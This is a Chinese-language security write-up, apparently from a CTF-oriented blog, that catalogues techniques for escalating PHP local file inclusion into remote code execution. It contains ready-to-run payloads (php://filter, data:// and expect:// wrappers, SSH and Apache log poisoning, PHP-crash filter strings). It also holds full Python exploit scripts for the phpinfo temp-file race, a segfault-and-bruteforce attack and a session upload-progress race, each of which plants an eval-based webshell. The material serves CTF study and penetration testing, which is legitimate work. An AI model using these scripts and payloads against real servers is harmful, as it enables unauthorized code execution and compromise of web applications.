LFItoRCE利用总结
本文首发于安全客 https://www.anquanke.com/post/id/177491
LFI不止可以来读取文件,还能用来RCE
在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
/proc/self/environ 需要有/proc/self/environ
的读取权限
如果可以读取,修改User-Agent
为php代码,然后lfi点包含,实现rce
/proc/self/fd/1,2,3… 需要有/proc/self/fd/1
的读取权限
类似于/proc/self/environ
,不同是在referer
或报错等写入php代码,然后lfi点包含,实现rce
php伪协议
php://filter 用来读文件 https://www.php.net/manual/zh/filters.php
不需要allow_url_include
和allow_url_fopen
开启
php://filter/read=convert.base64-encode/resource=
可以实现代码执行
需要allow_url_include:on
data:// 需要allow_url_fopen
,allow_url_include
均开启
data://text/plain,<?php phpinfo()?>
data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
expect:// 默认不开启,需要安装PECL package扩展 需要allow_url_include
开启
expect://[command]
/var/log/… ssh日志 需要有/var/log/auth.log
的读取权限
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell
连接ssh时输入
1 ssh `<?php phpinfo(); ?>`@192.168.211.146
php代码便会保存在/var/log/auth.log
中
然后lfi点包含,实现rce
apache日志 需要有/var/log/apache2/...
的读取权限
包含access.log
和error.log
来rce
但log文件过大会超时返回500,利用失败
更多日志文件地址见:https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt
with phpinfo PHP引擎对enctype="multipart/form-data"
这种请求的处理过程如下
请求到达;
创建临时文件,并写入上传文件的内容;文件为/tmp/php[\w]{6}
调用相应PHP脚本进行处理,如校验名称、大小等;
删除临时文件。
构造一个html文件来发送上传文件的数据包
1 2 3 4 5 6 7 <form action="http://192.168.211.146/phpinfo.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
phpinfo
可以输出$_FILES
信息,包括临时文件路径、名称 可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 import sysimport threadingimport socketdef setup (host, port) : TAG="Security Test" PAYLOAD="""%s\r <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a=""" +padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" +padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ +padding+"""\r HTTP_ACCEPT_LANGUAGE: """ +padding+"""\r HTTP_PRAGMA: """ +padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag) : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try : i = d.index("[tmp_name] =>" ) fn = d[i+17 :i+31 ] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096 ) s.close() s2.close() if d.find(tag) != -1 : return fn counter=0 class ThreadWorker (threading.Thread) : def __init__ (self, e, l, m, *args) : threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run (self) : global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try : x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset (host, port, phpinforeq) : """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True : i = s.recv(4096 ) d+=i if i == "" : break if i.endswith("0\r\n\r\n" ): break s.close() i = d.find("[tmp_name] =>" ) if i == -1 : raise ValueError("No php tmp_name in phpinfo output" ) print "found %s at %i" % (d[i:i+10 ],i) return i+256 def main () : print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2 : print "Usage: %s host [port] [threads]" % sys.argv[0 ] sys.exit(1 ) try : host = socket.gethostbyname(sys.argv[1 ]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1 ], e) sys.exit(1 ) port=80 try : port = int(sys.argv[2 ]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2 ], e) sys.exit(1 ) poolsz=10 try : poolsz = int(sys.argv[3 ]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3 ], e) sys.exit(1 ) print "Getting initial offset..." , reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0 ,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try : while not e.wait(1 ): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else : print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__" : main()
with php崩溃 php Segfault 向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
1. php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd
2. php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用
包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce
payload1测试:
payload2测试:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport stringdef upload_file (url, file_content) : files = {'file' : ('daolgts.jpg' , file_content, 'image/jpeg' )} try : requests.post(url, files=files) except Exception as e: print e charset = string.digits+string.letters webshell = '<?php eval($_REQUEST[daolgts]);?>' .encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url="http://192.168.211.146/lfi.php" parameter="file" payload1="php://filter/string.strip_tags/resource=/etc/passwd" payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA" lfi_url = url+"?" +parameter+"=" +payload1 length = 6 times = len(charset) ** (length / 2 ) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file(lfi_url, file_content)
爆破tmp文件名 然后爆破临时文件名来包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringcharset = string.digits + string.letters base_url="http://192.168.211.146/lfi.php" parameter="file" for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = base_url+"?" +parameter+"=/tmp/php" +filename print url try : response = requests.get(url) if 'success' in response.content: print "[+] Include success!" print "url:" +url exit() except Exception as e: print e
session 如果session.upload_progress.enabled=On
开启,就可以包含session来getshell,并且这个参数在php中是默认开启的
https://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
也就是说session中会添加session.upload_progress.prefix
+$_POST[ini_get['session.upload_progress.name']]
,而session.upload_progress.name
是可控的,所以就可以在session写入php代码,然后包含session文件来rce
session.upload_progress.prefix
和session.upload_progress.name
还有session的储存位置session.save_path
都能在phpinfo中获取,默认为:
同时能看到session.upload_progress.cleanup
是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取
下面测试一下,构造一个html来发包
1 2 3 4 5 6 <form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
在数据包里加入PHPSESSION
,才能生成session文件
burp不断发包,成功包含
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport threadingwebshell = '<?php eval($_REQUEST[daolgts]);?>' .encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url='http://192.168.211.146/lfi.php' r=requests.session() def POST () : while True : file={ "upload" :('daolgts.jpg' , file_content, 'image/jpeg' ) } data={ "PHP_SESSION_UPLOAD_PROGRESS" :file_content } headers={ "Cookie" :'PHPSESSID=123456' } r.post(url,files=file,headers=headers,data=data) def READ () : while True : event.wait() t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456" ) if 'success' not in t.text: print('[+]retry' ) else : print(t.text) event.clear() event=threading.Event() event.set() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start()
LFI自动化利用工具
会自动扫描利用以下漏洞,并且获取到shell